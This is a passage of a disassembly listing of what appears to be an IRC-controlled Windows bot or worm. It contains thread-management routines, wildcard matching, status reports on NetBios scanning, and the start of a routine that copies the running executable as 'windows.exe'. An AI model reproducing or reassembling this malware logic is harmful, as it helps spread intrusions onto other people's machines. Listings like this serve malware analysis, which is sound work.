		mov	eax, offset dword_4442E8


loc_40AE8D:				; CODE XREF: sub_40AE85+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40AEA1
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D12E8
		jl	short loc_40AE8D
		jmp	short loc_40AEEC
; ---------------------------------------------------------------------------


loc_40AEA1:				; CODE XREF: sub_40AE85+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh		; Count
		push	[esp+0Ch+Source] ; Source
		lea	eax, dword_4442E8[esi]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [esp+14h+arg_4]
		and	dword_4444EC[esi], 0
		mov	dword_4444E8[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	dword_4444F0[esi], 0
		mov	dword_4444F4[esi], eax
		mov	byte_444500[esi], 0
		pop	esi


loc_40AEEC:				; CODE XREF: sub_40AE85+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40AE85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40AEF0(int,char *Str,int,int)

sub_40AEF0	proc near		; CODE XREF: sub_40B186+31p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset dword_4329BC ; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4442E8


loc_40AF1A:				; CODE XREF: sub_40AEF0+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40AF5B
		cmp	[ebp+arg_C], 0
		jnz	short loc_40AF2E
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40AF5B


loc_40AF2E:				; CODE XREF: sub_40AEF0+33j
		push	esi
		push	edi
		lea	eax, [ebp+Dest]
		push	offset aD_S	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 24h


loc_40AF5B:				; CODE XREF: sub_40AEF0+2Dj
					; sub_40AEF0+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4D12E8
		jl	short loc_40AF1A
		pop	edi
		pop	esi
		leave
		retn
sub_40AEF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF6E	proc near		; CODE XREF: sub_40274D+779Bp
					; sub_40AFF6+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40AFF0
		cmp	esi, 400h
		jge	short loc_40AFF0
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_4444FC[esi]
		push	dword ptr [edi]
		call	ds:dword_42B028	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40AFA0
		inc	ebp


loc_40AFA0:				; CODE XREF: sub_40AF6E+2Fj
		mov	[edi], ebx
		lea	edi, dword_4444F0[esi]
		mov	eax, [edi]
		cmp	eax, ebx
		mov	dword_4444E8[esi], ebx
		mov	dword_4444EC[esi], ebx
		jbe	short loc_40AFC1
		push	eax
		call	sub_41C736
		pop	ecx


loc_40AFC1:				; CODE XREF: sub_40AF6E+4Aj
		mov	[edi], ebx
		lea	edi, dword_4444F4[esi]
		push	dword ptr [edi]
		mov	byte ptr dword_4442E8[esi], bl
		mov	byte_444500[esi], bl
		call	dword_444218	; closesocket
		lea	esi, dword_4444F8[esi]
		push	dword ptr [esi]
		mov	[edi], ebx
		call	dword_444218	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40AFF0:				; CODE XREF: sub_40AF6E+Dj
					; sub_40AF6E+15j
		pop	esi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_40AF6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFF6	proc near		; CODE XREF: sub_40110F+18p
					; sub_40274D+2D10p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_4442E8


loc_40B002:				; CODE XREF: sub_40AFF6+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B013
		push	edi
		call	sub_40AF6E
		test	eax, eax
		pop	ecx
		jz	short loc_40B013
		inc	ebx


loc_40B013:				; CODE XREF: sub_40AFF6+Fj
					; sub_40AFF6+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4D12E8
		jl	short loc_40B002
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_40AFF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B028	proc near		; CODE XREF: sub_40274D+3E9Bp
					; sub_40274D+3FE3p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4444EC


loc_40B03C:				; CODE XREF: sub_40B028+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B05E
		test	edi, edi
		jle	short loc_40B050
		cmp	[esi], edi
		jz	short loc_40B050
		cmp	ebx, edi
		jnz	short loc_40B05E


loc_40B050:				; CODE XREF: sub_40B028+1Ej
					; sub_40B028+22j
		push	ebx
		call	sub_40AF6E
		test	eax, eax
		pop	ecx
		jz	short loc_40B05E
		inc	[ebp+var_4]


loc_40B05E:				; CODE XREF: sub_40B028+1Aj
					; sub_40B028+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4D14EC
		jl	short loc_40B03C
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B028	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B075	proc near		; CODE XREF: sub_40274D+896p
					; sub_40274D+1B5Fp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4444E8


loc_40B07C:				; CODE XREF: sub_40B075+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B085
		inc	eax


loc_40B085:				; CODE XREF: sub_40B075+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4D14E8
		jl	short loc_40B07C
		retn
sub_40B075	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B094	proc near		; CODE XREF: sub_40274D+2210p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_4444E8
		push	esi


loc_40B09E:				; CODE XREF: sub_40B094+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B0B7
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4D14E8
		jl	short loc_40B09E
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B0B7:				; CODE XREF: sub_40B094+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B094	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B0BB(int,int,int,int,int,int,int,char *Str)

sub_40B0BB	proc near		; CODE XREF: sub_40274D+10CEp
					; sub_40274D+10E9p ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
Str		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+Str], eax
		jz	short loc_40B0D4
		push	[ebp+Str]	; Str
		call	j__atol
		pop	ecx


loc_40B0D4:				; CODE XREF: sub_40B0BB+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B028
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_40B100
		push	eax
		push	[ebp+arg_14]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_40B11A
; ---------------------------------------------------------------------------


loc_40B100:				; CODE XREF: sub_40B0BB+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_40B11A:				; CODE XREF: sub_40B0BB+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B13A
		push	0		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_40B13A:				; CODE XREF: sub_40B0BB+63j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		leave
		retn
sub_40B0BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B149	proc near		; CODE XREF: sub_4025EF+14Cp
					; sub_40B186+39p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		imul	eax, 234h
		xor	ecx, ecx
		mov	dword_4444FC[eax], ecx
		mov	dword_4444E8[eax], ecx
		mov	dword_4444EC[eax], ecx
		mov	dword_4444F0[eax], ecx
		mov	dword_4444F4[eax], ecx
		mov	dword_4444F8[eax], ecx
		mov	byte ptr dword_4442E8[eax], cl
		mov	byte_444500[eax], cl
		retn
sub_40B149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40B186	proc near		; DATA XREF: sub_40274D+275Fo

var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		push	[ebp+74h+var_10] ; int
		mov	dword ptr [eax+94h], 1
		push	[ebp+74h+var_C]	; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_98] ; int
		call	sub_40AEF0
		push	[ebp+74h+var_14]
		call	sub_40B149
		add	esp, 14h
		push	0
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_40B186	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1D0	proc near		; CODE XREF: sub_40B264+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	ecx, [edx]
		push	edi
		xor	edi, edi
		and	[ebp+var_8], edi
		xor	eax, eax
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B1F1
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B1F1:				; CODE XREF: sub_40B1D0+19j
		push	ebx
		push	esi


loc_40B1F3:				; CODE XREF: sub_40B1D0+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B201
		cmp	[ebp+var_4], eax
		jnz	short loc_40B249


loc_40B201:				; CODE XREF: sub_40B1D0+2Aj
		test	edi, edi
		jnz	short loc_40B23E
		cmp	bl, 2Dh
		jnz	short loc_40B232
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_40B232
		cmp	al, 5Dh
		jz	short loc_40B232
		cmp	[ebp+var_4], edi
		jnz	short loc_40B232
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B23E
		cmp	bl, al
		jg	short loc_40B23E
		mov	[edx], esi
		jmp	short loc_40B23B
; ---------------------------------------------------------------------------


loc_40B232:				; CODE XREF: sub_40B1D0+38j
					; sub_40B1D0+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B23E


loc_40B23B:				; CODE XREF: sub_40B1D0+60j
		xor	edi, edi
		inc	edi


loc_40B23E:				; CODE XREF: sub_40B1D0+33j
					; sub_40B1D0+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_40B1F3
; ---------------------------------------------------------------------------


loc_40B249:				; CODE XREF: sub_40B1D0+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B256
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B256:				; CODE XREF: sub_40B1D0+7Ej
		cmp	edi, eax
		jnz	short loc_40B25F
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B25F:				; CODE XREF: sub_40B1D0+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B1D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B264	proc near		; CODE XREF: sub_40274D+7A0Fp
					; sub_40B2F8+65p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_40B2C6
; ---------------------------------------------------------------------------


loc_40B270:				; CODE XREF: sub_40B264+66j
		cmp	eax, 1
		jnz	short loc_40B2D7
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B2D7
		cmp	cl, 2Ah
		jz	short loc_40B2AF
		cmp	cl, 3Fh
		jz	short loc_40B294
		cmp	cl, 5Bh
		jz	short loc_40B299
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B294:				; CODE XREF: sub_40B264+22j
		inc	[ebp+arg_4]
		jmp	short loc_40B2C2
; ---------------------------------------------------------------------------


loc_40B299:				; CODE XREF: sub_40B264+27j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		inc	esi
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B1D0
		mov	esi, [ebp+arg_0]
		jmp	short loc_40B2C0
; ---------------------------------------------------------------------------


loc_40B2AF:				; CODE XREF: sub_40B264+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B2F8
		mov	esi, [ebp+arg_0]
		dec	esi


loc_40B2C0:				; CODE XREF: sub_40B264+49j
		pop	ecx
		pop	ecx


loc_40B2C2:				; CODE XREF: sub_40B264+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_40B2C6:				; CODE XREF: sub_40B264+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_40B270
		jmp	short loc_40B2D7
; ---------------------------------------------------------------------------


loc_40B2CE:				; CODE XREF: sub_40B264+76j
		cmp	eax, 1
		jnz	short loc_40B2F3
		inc	esi
		mov	[ebp+arg_0], esi


loc_40B2D7:				; CODE XREF: sub_40B264+Fj
					; sub_40B264+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_40B2CE
		cmp	eax, 1
		jnz	short loc_40B2F3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B2F3
		cmp	byte ptr [esi],	0
		jnz	short loc_40B2F3
		xor	eax, eax
		inc	eax
		jmp	short loc_40B2F5
; ---------------------------------------------------------------------------


loc_40B2F3:				; CODE XREF: sub_40B264+6Dj
					; sub_40B264+7Bj ...
		xor	eax, eax


loc_40B2F5:				; CODE XREF: sub_40B264+8Dj
		pop	esi
		pop	ebp
		retn
sub_40B264	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F8	proc near		; CODE XREF: sub_40B264+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		inc	dword ptr [esi]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		xor	ebx, ebx
		jmp	short loc_40B327
; ---------------------------------------------------------------------------


loc_40B312:				; CODE XREF: sub_40B2F8+35j
		mov	cl, [eax]
		cmp	cl, 3Fh
		jz	short loc_40B323
		cmp	cl, 2Ah
		jnz	short loc_40B32F
		cmp	cl, 3Fh
		jnz	short loc_40B325


loc_40B323:				; CODE XREF: sub_40B2F8+1Fj
		inc	dword ptr [edi]


loc_40B325:				; CODE XREF: sub_40B2F8+29j
		inc	dword ptr [esi]


loc_40B327:				; CODE XREF: sub_40B2F8+18j
		mov	ecx, [edi]
		cmp	[ecx], bl
		mov	eax, [esi]
		jnz	short loc_40B312


loc_40B32F:				; CODE XREF: sub_40B2F8+24j
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B33E


loc_40B334:				; CODE XREF: sub_40B2F8+44j
		inc	eax
		mov	ecx, eax
		mov	[esi], eax
		cmp	byte ptr [ecx],	2Ah
		jz	short loc_40B334


loc_40B33E:				; CODE XREF: sub_40B2F8+3Aj
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_40B35B
		cmp	[eax], bl
		jz	short loc_40B34E
		xor	eax, eax
		jmp	short loc_40B3C0
; ---------------------------------------------------------------------------


loc_40B34E:				; CODE XREF: sub_40B2F8+50j
		cmp	dl, bl
		jnz	short loc_40B35B
		cmp	[eax], bl
		jnz	short loc_40B35B
		xor	eax, eax
		inc	eax
		jmp	short loc_40B3C0
; ---------------------------------------------------------------------------


loc_40B35B:				; CODE XREF: sub_40B2F8+4Cj
					; sub_40B2F8+58j ...
		push	ecx
		push	eax
		call	sub_40B264
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40B3AA


loc_40B368:				; CODE XREF: sub_40B2F8+B0j
		inc	dword ptr [edi]
		mov	ecx, [esi]
		mov	eax, [edi]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jz	short loc_40B38C


loc_40B374:				; CODE XREF: sub_40B2F8+92j
		mov	ecx, [esi]
		cmp	byte ptr [ecx],	5Bh
		jz	short loc_40B38C
		cmp	[eax], bl
		jz	short loc_40B3A1
		inc	eax
		mov	[edi], eax
		mov	ecx, [esi]
		mov	cl, [ecx]
		mov	edx, eax
		cmp	cl, [edx]
		jnz	short loc_40B374


loc_40B38C:				; CODE XREF: sub_40B2F8+7Aj
					; sub_40B2F8+81j
		cmp	[eax], bl
		jz	short loc_40B3A1
		push	eax
		push	dword ptr [esi]
		call	sub_40B264
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B3A6
; ---------------------------------------------------------------------------


loc_40B3A1:				; CODE XREF: sub_40B2F8+85j
					; sub_40B2F8+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B3A6:				; CODE XREF: sub_40B2F8+A7j
		cmp	eax, ebx
		jnz	short loc_40B368


loc_40B3AA:				; CODE XREF: sub_40B2F8+6Ej
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B3BD
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B3BD
		mov	[ebp+var_4], 1


loc_40B3BD:				; CODE XREF: sub_40B2F8+B6j
					; sub_40B2F8+BCj
		mov	eax, [ebp+var_4]


loc_40B3C0:				; CODE XREF: sub_40B2F8+54j
					; sub_40B2F8+61j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B3C5(int,char *Str,int)

sub_40B3C5	proc near		; CODE XREF: sub_40274D+28E2p

Source		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+Dest]
		push	offset asc_432A30 ; "-"
		push	eax		; Dest
		xor	ebx, ebx
		call	_sprintf
		cmp	dword_43D878, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B438
		push	esi
		mov	esi, offset dword_43D880


loc_40B3F8:				; CODE XREF: sub_40B3C5+70j
		cmp	dword ptr [esi], 0
		jbe	short loc_40B42E
		mov	eax, [esi]
		push	eax
		add	ebx, eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_432A24 ; " "
		push	eax		; Dest
		call	_sprintf
		push	edi		; Count
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		add	esp, 1Ch


loc_40B42E:				; CODE XREF: sub_40B3C5+36j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B3F8
		pop	esi


loc_40B438:				; CODE XREF: sub_40B3C5+2Bj
		push	dword_4D1FD0
		call	sub_41D5F8
		push	eax
		push	ebx
		lea	eax, [ebp+Source]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax		; Dest
		call	_sprintf
		push	edi		; Count
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		push	0		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B3C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B494(int,char *Str,int)

sub_40B494	proc near		; CODE XREF: sub_40274D+28CFp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4D400C
		mov	ecx, dword_4D4008
		push	esi
		push	dword_4D1FD0
		lea	esi, [ecx+eax]
		call	sub_41D5F8
		push	eax
		push	esi
		push	dword_4D400C
		lea	eax, [ebp+Dest]
		push	dword_4D4008
		push	offset asc_432A50 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40B494	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B4FF(int,char *Str,int)

sub_40B4FF	proc near		; CODE XREF: sub_40274D+28BCp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4D1FD0
		call	sub_41D5F8
		push	eax
		push	dword_4D5258
		lea	eax, [ebp+Dest]
		push	offset asc_432A98 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		add	esp, 2Ch
		leave
		retn
sub_40B4FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B553(int,char *Str,int)

sub_40B553	proc near		; CODE XREF: sub_40274D+28A9p

Source		= byte ptr -1000h
Dest		= byte ptr -800h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	__alloca_probe
		push	edi
		lea	eax, [ebp+Dest]
		push	offset asc_432AE4 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	dword_43D878, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B5BF
		push	esi
		mov	esi, offset aNetbios ; "NetBios"


loc_40B588:				; CODE XREF: sub_40B553+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+Source]
		push	offset asc_432AD4 ; " "
		push	eax		; Dest
		call	_sprintf
		push	edi		; Count
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B588
		pop	esi


loc_40B5BF:				; CODE XREF: sub_40B553+2Dj
		push	dword_4D1FD0
		call	sub_41D5F8
		push	eax
		lea	eax, [ebp+Source]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax		; Dest
		call	_sprintf
		push	edi		; Count
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		push	0		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40B553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B619(int,char *Str,int,int)

sub_40B619	proc near		; CODE XREF: sub_40274D+2224p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jle	short loc_40B655
		mov	eax, [ebp+arg_C]
		push	dword_4D1FF0[eax*8]
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_432B20 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_40B668
; ---------------------------------------------------------------------------


loc_40B655:				; CODE XREF: sub_40B619+13j
		lea	eax, [ebp+Dest]
		push	offset asc_432B00 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_40B668:				; CODE XREF: sub_40B619+3Aj
		push	0		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		add	esp, 18h
		leave
		retn
sub_40B619	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B690(int,int,int,int,char Source,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_40B690	proc near		; CODE XREF: sub_40BEFE+51p

var_208		= dword	ptr -208h
Dest		= byte ptr -204h
var_4		= byte ptr -4
Source		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		cmp	eax, 0FFFFFFFFh
		jz	locret_40BB49
		push	ebx
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_43D884[eax], ebx
		jz	loc_40BB48
		push	esi
		push	5
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jnz	loc_40B90A
		mov	eax, dword_43C074
		push	edi
		push	104h
		mov	esi, offset dword_4D470C
		push	esi
		push	ebx
		mov	dword_4D491C, eax
		mov	dword_4D4918, ebx
		call	ds:dword_42B00C	; GetModuleFileNameA
		push	103h		; Count
		mov	edi, offset aWindows_exe ; "windows.exe"
		push	edi		; Source
		push	offset byte_4D4810 ; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D4708, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4D49A0, eax
		push	7Fh		; Count
		jnz	short loc_40B740
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	offset byte_4D4920 ; Dest
		call	_strncpy
		mov	dword_4D49A4, 1
		jmp	short loc_40B757
; ---------------------------------------------------------------------------


loc_40B740:				; CODE XREF: sub_40B690+94j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4D4920 ; Dest
		call	_strncpy
		mov	dword_4D49A4, ebx


loc_40B757:				; CODE XREF: sub_40B690+AEj
		add	esp, 0Ch
		push	esi
		push	dword_4D491C
		lea	eax, [ebp+Dest]
		push	offset asc_42F298 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
